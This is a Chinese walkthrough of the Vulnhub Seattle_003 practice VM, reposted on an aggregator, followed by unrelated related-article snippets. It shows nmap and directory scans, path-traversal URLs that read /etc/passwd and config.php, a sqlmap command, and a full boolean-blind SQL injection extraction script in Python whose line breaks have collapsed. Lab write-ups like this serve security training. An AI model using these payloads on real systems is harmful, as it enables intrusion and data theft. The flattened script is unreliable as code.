【Vulnhub系列】Vulnhub_Seattle_003靶场渗透（原创）

【Vulnhub系列靶场】Vulnhub_Seattle_003靶场渗透

原文转载已经过授权
原文链接：Lusen的小窝 - 学无止尽，不进则退 (lusensec.github.io)

一、环境准备

1、从百度网盘下载对应靶机的.ova镜像

2、在VM中选择【打开】该.ova

image-20240210134843692

3、选择存储路径，并打开

image-20240210134856511

4、之后确认网络连接模式是否为【NAT】

二、信息收集

1、主机发现

nmap.exe -sn 192.168.31.*

image-20240210103254625

2、端口探测

1、快速粗略的扫描

nmap.exe -F 192.168.31.59

image-20240210103434464

2、全端口精细扫描

nmap.exe -sT --min-rate 10000 -p- 192.168.31.59
nmap.exe -sU --min-rate 10000 -p- 192.168.31.59

image-20240210104357998

image-20240210103651560

确认只开放了80端口

3、全扫描和漏洞扫描

nmap.exe -sT -sV -sC -O -p80 192.168.31.59
nmap.exe -sT -sV -sC -O -p80 192.168.31.59

image-20240210104536620

确认是Linux的Fedora 系统，是由 Red Hat 公司赞助和领导

image-20240210104717424

漏洞脚本探测出来存在csrf 和sql注入漏洞，很显然，这个SQL注入漏洞是一个关键点

3、web目录探测

dirsearch.cmd -u http://192.168.31.59 -x 404,403

image-20240210104043275

针对zip等敏感文件进行扫描

dirb http://192.168.31.59 -X .php,.zip,.txt,.tar,.rar

image-20240210105150253

4、web框架探测

whatweb http://192.168.31.59

image-20240210105210851

三、获取shell立足点

1、查看敏感文件

1、在downloads目录下发现.pdf文件

image-20240210105554332

image-20240210105619577

是一个对网站此时状态的一个描述，表示现在的网站有很多漏洞，诸如SQL漏洞、XSS、用户名泄露以及任意文件下载漏洞

image-20240210105728931

image-20240210105742640

image-20240210105806973

image-20240210105954501

2、任意文件下载漏洞

通过任意文件下载漏洞尝试下载/etc/passwwd 文件

http://192.168.31.59/download.php?item=../../../../../../etc/passwd

image-20240210110317205

只存在root用户

下载config.php文件

http://192.168.31.59/download.php?item=../config.php

image-20240210114250835

拿到数据库的账号密码：root:Alexis*94

3、SQL注入漏洞

我们对http://192.168.31.59/details.php?type=2&prod=5路径进行爆破，可以看到是一个布尔类型的SQL注入，我们修进我们的SQL_Boole 脚本

import requests# 存在GET类型的SQL注入的URL链接和参数
url = 'http://192.168.31.59/details.php?type=2&prod=5'def column_data_name(column_data_len,User_table_name,User_column_name):column_data_names = {}column_one_name = ''for i in range(0,len(column_data_len)):         #i是第几个字段的值for j in range(1,column_data_len[i]+1):     #j是要爆破字段值的第几个字符for n in range(0,126):                  #n是要爆破字段值的ascii码值new_url = url + "%20and%20ascii(substr((select " + User_column_name + " from " + User_table_name + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n)if Response_judgment(new_url):column_one_name += chr(n)breakprint(f"{User_column_name}字段的第{i}个值为：{column_one_name}")column_data_names[i] = column_one_namecolumn_one_name = ''return column_data_namesdef column_data_length(column_names,User_table_name,User_column_name):column_data_len = {}for i in range(0,10):           #i是第几个字段的值，猜测10个数值for j in range(1,20):       #j是要爆破字段数值的长度，猜测该字段数值最大为20new_url = url + "%20and%20length((select "+ User_column_name +" from "+ User_table_name +" limit "+ str(i) +",1))=" + str(j)if Response_judgment(new_url):column_data_len[i] = jif i == 10:print('已超过测试数值的最大值，请调整！！！')breakreturn column_data_lendef column_name(column_len,User_table_name):column_names = {}column_one_name = ''for i in range(0,len(column_len)):          #i是第几个字段，len(column_len) 是字段的数量for j in range(1,column_len[i]+1):      #j是要爆破字段的第几个字符for n in range(0,126):              #n是要爆破字段名的ascii码值new_url = url + "%20and%20ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=" + hex(int.from_bytes(User_table_name.encode(),'big')) + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n)if Response_judgment(new_url):column_one_name += chr(n)breakprint(f"{User_table_name}表的第{i}个字段的名称为：{column_one_name}")column_names[i] = column_one_namecolumn_one_name = ''return column_namesdef column_length(User_table_name):     #要查看的表名column_len = {}for i in range(0,10):               #i是第几个字段，这里假设有10个字段for j in range(1,30):           #j是要爆破字段的长度，假设字段长度最长为20new_url = url + "%20and%20length((select column_name from information_schema.columns where table_schema=database() and table_name="+ hex(int.from_bytes(User_table_name.encode(), 'big')) +" limit "+ str(i) +",1))=" + str(j)if Response_judgment(new_url):column_len[i] = jif i == 10:print('已超过测试字段数的最大值，请调整！！！')breakreturn column_lendef table_name(table_len):table_names = {}table_one_name = ''for i in range(0,len(table_len)):       #i是第几张表，len(table_len)表示共有几张表for j in range(1,table_len[i]+1):   #j是要爆破表名第几个字符，到表的长度for n in range(0,126):          #n是要爆破表名的ascii码值new_url = url + "%20and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1)," + str(j) + ",1))=" + str(n)if Response_judgment(new_url):table_one_name += chr(n)breakprint(f"第{i}张表的名称为：{table_one_name}")table_names[i] = table_one_nametable_one_name = ''return table_namesdef table_length():table_len = {}for i in range(0,10):           #i是第几张表for j in range(1,10):       #j是要爆破表的长度new_url = url + "%20and%20length((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1))=" + str(j)if Response_judgment(new_url):table_len[i] = jbreakreturn table_lendef database_name(database_len):database_names = ''for i in range(1,database_len + 1):     #i是数据库的第几个字符for j in range(0,126):              #j是要爆破数据库名的ascii码值new_url = url + "%20and%20ascii(substr(database()," + str(i) + ",1))=" + str(j)if Response_judgment(new_url):database_names += chr(j)breakreturn database_namesdef database_length():new_url = ''for i in range(1,10):       #假设数据库的长度在10以内new_url = url + "%20and%20length(database())=" + str(i)if Response_judgment(new_url):return iprint('payload无效，请更替payload或增加爆破的数据库名长度！！！')print(new_url)def Response_judgment(new_url):cookies = {'level' : '1'}respone = requests.get(new_url, cookies=cookies)if "T-Shirt" in respone.text:return Trueelse:return Falsedef main():print('-----------------------------')database_names = database_name(database_length())   #这里传入数据库的长度print(f"当前数据库的名称为：{database_names}")print('-----------------------------')table_names = table_name(table_length())            #求表的名称，传入表的长度while True:                 #这里做无限循环，以方便循环查询所有的表print('-----------------------------')print(f"所有表的名称为：{table_names}")User_table_name = input('请输入要查看的表名（exit退出）：')if User_table_name == 'exit':breakprint('-----------------------------')column_names = column_name(column_length(User_table_name),User_table_name)       #求字段的名字，输入字段的长度while True:             #这里做无限循环，方便查询表的所有字段值print('-----------------------------')print(f"该表中所有字段的名称为：{column_names}")User_column_name = input('请输入要查看的字段名（exit退出）：')if User_column_name == 'exit':breakprint('-----------------------------')column_data_len = column_data_length(column_names,User_table_name,User_column_name)   #求字段值的长度，传入字段的名称column_data_names = column_data_name(column_data_len,User_table_name,User_column_name)  #求字段的值print('-----------------------------')print(f"{User_column_name}字段中所有数值为：{column_data_names}")if __name__ == '__main__':main()print('-----------------------------')print("Bye！程序已退出！！！")

在判断函数中加入cookie以及修改判断条件即可

image-20240210123233979

image-20240210123406099

这里并没有我们想要的数据，也许是脚本有些地方考虑不周到，但是对脚本的应用是一次不错的提升

4、登录后台

通过任意文件下载漏洞，下载login.php文件进行分析

image-20240210123540577

先判断了用户的邮箱，再判断密码是否正确

正好在blog.php?author=1的页面中爆破了用户邮箱的敏感信息，那么根据源代码分析此处可以造成SQL漏洞

image-20240210123636194

我们拿到用户邮箱，回到登录页面，这里我们直接用sqlmap 进行爆破

sqlmap.cmd -u http://192.168.31.59/login.php --data "usermail=admin@seattlesounds.net&password=111*" --cookie "level=1" --batch -D seattle --tables

在爆破过程中发现该数据库有三张表

image-20240210125137460

而SQL_Boole 脚本未爆破出来其他两张表的原因是，我们假设表的最大长度为10

image-20240210125347335

当我们修改成20之后，SQL_Boole 脚本可以正常使用，且爆破速度比SQLMap 还要快上很多

image-20240210125903261

这里username 无数据，可能也是长度限制的问题，但是好在密码的长度较短，可以爆破出来

image-20240210130050742

也可以爆破出来其他字段，不过在改靶机中我们只拿到密码即可

image-20240210130209765

后台登录成功

5、获取shell立足点

在后台可以提交博客内容，但是无getshell 的方法，此靶机只有web漏洞，不能getshell

原文转载已经过授权
更多文章请访问原文链接：Lusen的小窝 - 学无止尽，不进则退 (lusensec.github.io)

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/web/50400.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Nginx系列-12 Nginx使用Lua脚本进行JWT校验

Nginx系列-12 Nginx使用Lua脚本进行JWT校验

背景 本文介绍Nginx中Lua模块使用方式，并结合案例进行介绍。案例介绍通过lua脚本提取HTTP请求头中的token字段，经过JWT校验并提取id和name信息，设置到http请求头中发向后段服务器。 默认情况下，Nginx自身不携带lua模块&#xff0…
阅读更多...
Computer Analysis and Visualisation CITS2401

Computer Analysis and Visualisation CITS2401

1. Outline In this project, we will continue from our Project 1 where we implemented a malicious credit card transaction detection system. But instead of iuww520iuww520​​​​​​​iuww520​​​​​​​iuww520​​​​​​​iuww520​​​​​​​iuww520​…
阅读更多...
什么是海外云手机？海外云手机有什么用？

什么是海外云手机？海外云手机有什么用？

在跨境电商的浪潮中，如何高效引流成为了卖家们关注的焦点。近期，越来越多的卖家开始借助海外云手机，通过TikTok平台吸引流量，从而推动商品的海外销售。那么，究竟什么是海外云手机？海外云手机又能为跨境电商…
阅读更多...
存储过程

存储过程

1、概念 完成特定功能的sql语句的集合。把定义好的sql集合在一个特定的sql函数当中，每次执行调用函数即可，还可以实现传参的调用 2、作用 执行速度比sql语句执行速度更快，执行效率也更高 客户端可以随时调用发放，也可以随时修…
阅读更多...
商家转账到零钱保姆级申请教程

商家转账到零钱保姆级申请教程

大多数商家在申请微信支付的“商家转账到零钱”过程中都免不了遇到问题，更有不少商家因为屡次驳回严重耽误项目工期。为了帮助商户顺利开通该接口，根据我们上万次成功开通的经验整理这篇攻略以供参考： 一、前期准备 1. 确认主体资格&#xf…
阅读更多...
跨境电商独立站术语盘点（一）独立站建站篇

跨境电商独立站术语盘点（一）独立站建站篇

跨境新手总是被一些跨境专业术语弄得头晕脑胀，不懂得查，查了又忘，忘了又得继续查…… 本期【跨境干货】，笔者特地为大家整理汇总了跨境电商独立站常用网站建站方面的专业术语，帮助你了解建站相关知识！赶紧收…
阅读更多...
安装python插件命令集合

安装python插件命令集合

安装python插件pyecharts库 pip install pyecharts -i https://pypi.tuna.tsinghua.edu.cn/simple 安装python插件pandas库 pip install pandas -i https://pypi.tuna.tsinghua.edu.cn/simple PyCharm 中安装步骤：
阅读更多...
数据结构之队列详解

数据结构之队列详解

1.队列的概念以及结构 队列：只允许在一端进行插入数据操作，在另一端进行删除数据操作的特殊线性表，队列具有先进先出FIFo(Frist in Frist out)的特性 入队列：进行插入才操作的一端称为队尾 出队列：进行删除操作的一…
阅读更多...
谷粒商城实战笔记-编码经验积累

谷粒商城实战笔记-编码经验积累

文章目录 1. 先理解需求，后写代码惨痛经历教训 2. 前后端都要校验惨痛经历教训 3，避免使用JOIN查询以提高性能4，用常量类代替魔法数字 1. 先理解需求，后写代码 惨痛经历 几年前，我所在的团队负责为开发一个在线预订系…
阅读更多...
1比25万基础电子地图（广西版）

1比25万基础电子地图（广西版）

我们为你分享过四川、云南、江西、贵州、重庆、青海、西藏、新疆、甘肃、黑龙江、吉林、湖北、广东和内蒙古的1比25万基础电子地图，现在再为你分享广西版的电子地图。 如果你需要这些省份的1比25万基础电子地图，请在文末查看该数据的领取方法。 1比25万…
阅读更多...
flutter开发实战-go_router使用

flutter开发实战-go_router使用

flutter开发实战-go_router使用 一、go_router介绍与特性 go_router是一个Flutter的第三方声明式路由插件，使用路由器API提供一个方便的、基于url的API，用于在不同屏幕之间导航。可以定义URL模式、使用URL导航、处理深度链接以及许多其他与导航相关的场…
阅读更多...
【Spring Boot】Spring 的安全框架：Spring Security

【Spring Boot】Spring 的安全框架：Spring Security

Spring 的安全框架：Spring Security 1.Spring Security 初识1.1 核心概念1.2 认证和授权1.2.1 验证（authentication）1.2.2 授权（authorization） 1.3 模块 2.核心类2.1 Securitycontext2.2 SecurityContextHolder2.2.1 …
阅读更多...
day51|99.岛屿数量, 100.岛屿的最大面积

day51|99.岛屿数量, 100.岛屿的最大面积

99.岛屿数量 99. 岛屿数量 (kamacoder.com) DFS 思路没问题&#xff0c;内存超限了。 #include<iostream> #include<vector>using namespace std;int times 0;inline bool valid(int i, int j, const int &m, const int &n){return i > 0 &&am…
阅读更多...
Python字符串处理技巧：一个小技巧竟然能省下你一半时间！

Python字符串处理技巧：一个小技巧竟然能省下你一半时间！

获取Pyhon及副业知识&#xff0c;关注公众号【软件测试圈】 效率翻倍的秘密&#xff1a;Python字符串操作的5个惊人技巧 在Python编程中&#xff0c;字符串处理在数据分析、Web开发、自动化脚本等多个领域都有广泛应用。Python提供了一系列强大的字符串处理函数&#xff0c;能够…
阅读更多...
如何从零搭建一个动态网站

如何从零搭建一个动态网站

静态网站和动态网站的区别 静态网站和动态网站的本质区别在于内容是否在服务器端动态生成&#xff0c;以及是否有服务器端逻 辑处理用户请求和数据。 静态网站像是一本已经印刷好的书籍&#xff0c;而动态网站则像是根据读者需求即时编写和提供内容 的智能机器。 创建动态网…
阅读更多...
前端工程化11-webpack常见插件

前端工程化11-webpack常见插件

1、webpack的插件Plugin 刚才我们也讲解了下&#xff0c;我们对webpack路径的一个处理&#xff0c;处理的话包括别名的配置&#xff0c;模块是如何找到并加载的&#xff0c;总的来说到现在webpack这个配置到现在来说还是相当的麻烦的&#xff0c;但是目前来说我们讲的这些东西…
阅读更多...
ssl证书过期，nginx更换证书以后仍然显示过期证书

ssl证书过期，nginx更换证书以后仍然显示过期证书

记一次nginx部署异常 今天提示ssl证书过期了&#xff0c;然后重新申请了一个证书 反反复复折腾了一个上午&#xff0c;还更换了好几个平台&#xff0c;发现怎么更换都没用&#xff0c;百度上的解决方法都试过了&#xff0c;发现都没用&#xff0c;证书还是显示的原来那一个&…
阅读更多...
前端工程化-vue项目创建

前端工程化-vue项目创建

可以使用html、css、javascpript ,以及使用vue、axios等技术搭建前端页面&#xff0c;但效率低、结构乱。 实际前端开发&#xff1a; 前端工程化开发步骤&#xff1a; 一、环境准备 1.安装NodeJS2. 安装vue-cli 二、创建Vue项目 有两种方式创建&#xff0c;一般采用第二种图…
阅读更多...
MMCV1.6.0之Runner/Hook/OptimizerHook（反向传播+参数更新）、Fp16OptimizerHook、自定义优化器与config设置

MMCV1.6.0之Runner/Hook/OptimizerHook（反向传播+参数更新）、Fp16OptimizerHook、自定义优化器与config设置

OptimizerHook 这段代码定义了一个名为 OptimizerHook 的类&#xff0c;它是一个用于优化器的自定义操作钩子。该钩子包含了一些用于梯度裁剪和检测异常参数的操作。这对于在深度学习训练过程中优化模型的性能和调试模型非常有用。 类的定义 OptimizerHook 类继承自 Hook&…
阅读更多...
documents4j 将word转pdf文件，本地（Windows）测试没问题，部署到服务器（centos）报错

documents4j 将word转pdf文件，本地（Windows）测试没问题，部署到服务器（centos）报错

问题 报错如下&#xff1a; 代码 首先要保证你的Java代码没问题&#xff0c;可以参考下面代码 maven依赖 <!--documents4j--> <dependency><groupId>com.documents4j</groupId><artifactId>documents4j-local</artifactId><versi…
阅读更多...
最新文章

Copyright @ 2022~2023